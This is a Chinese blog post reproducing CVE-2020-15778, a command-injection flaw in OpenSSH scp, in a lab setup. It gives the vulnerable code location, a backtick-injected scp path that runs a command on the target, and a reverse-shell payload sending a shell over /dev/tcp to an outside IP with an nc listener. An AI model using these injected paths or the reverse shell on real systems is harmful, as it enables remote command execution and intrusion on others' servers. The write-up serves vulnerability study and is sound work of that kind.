CVE-2020-15778漏洞复现
0x01 漏洞简介
SCP(secure copy)是linux系统下基于ssh登录进行安全远程文件拷贝的命令,可以在linux之间复制文件和目录。
OpenSSH中小于 8.3p1版本 SCP命令里存在命令注入漏洞。当将文件复制到远程服务器时,文件路径附加在本地scp命令的末尾,可以触发命令注入漏洞。
漏洞存在的点在 https://github.com/openssh/openssh-portable/blob/a2855c048b3f4b17d8787bd3f24232ec0cd79abe/scp.c#L989
攻击者可以采用反引号(`)文件作为命令注入执行scp命令,命令将会发送到远程服务器并执行。
作者介绍是
将文件复制到远程服务器时,文件路径会附加在本地scp命令的末尾。例如,如果执行以下命令
1 | scp SourceFile user@host:directory/TargetFile |
它将执行本地命令
1 | scp -t directory/TargetFile |
大佬的原帖https://github.com/cpandya2909/CVE-2020-15778/
0x02 影响版本
version: <=openssh-8.3p1
0x03 漏洞复现
环境
靶机kali : 192.168.100.236
利用场景:已知 ssh 密码为 root
查看当然版本和主机信息
1 | ssh -V && ifconfig |
正常连接拷贝一下,命令学习一下
攻击机:
1 | scp 本地文件 用户@远程IP:远程地址 |
1 | scp ./config.yaml [email protected]:/root/zeo.yaml |
受害机:拷贝成功
漏洞复现
攻击机:
1 | scp ./config.yaml [email protected]:'`touch /root/zeo_eval`/root/zeo2.yaml' |
受害机:命令执行成功
反弹shell利用
VPS端:直接反弹加到payload里面发送,并开启nc监听
1 | scp ./config.yaml [email protected]:'`sh -i >& /dev/tcp/110.110.110.110/6666 0>&1 |
VPS接到bash
0x04 修复建议
- 等待官方补丁
- 保护好自己的密码,ssh认证
0x05 总结
这个漏洞的利用还有点问题,因为还要bypass掉身份认证这个环节,才能远程命令执行,如果过了身份验证,那就牛逼大发了。
远程命令的执行,估计还得等大牛开发利用方式。
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.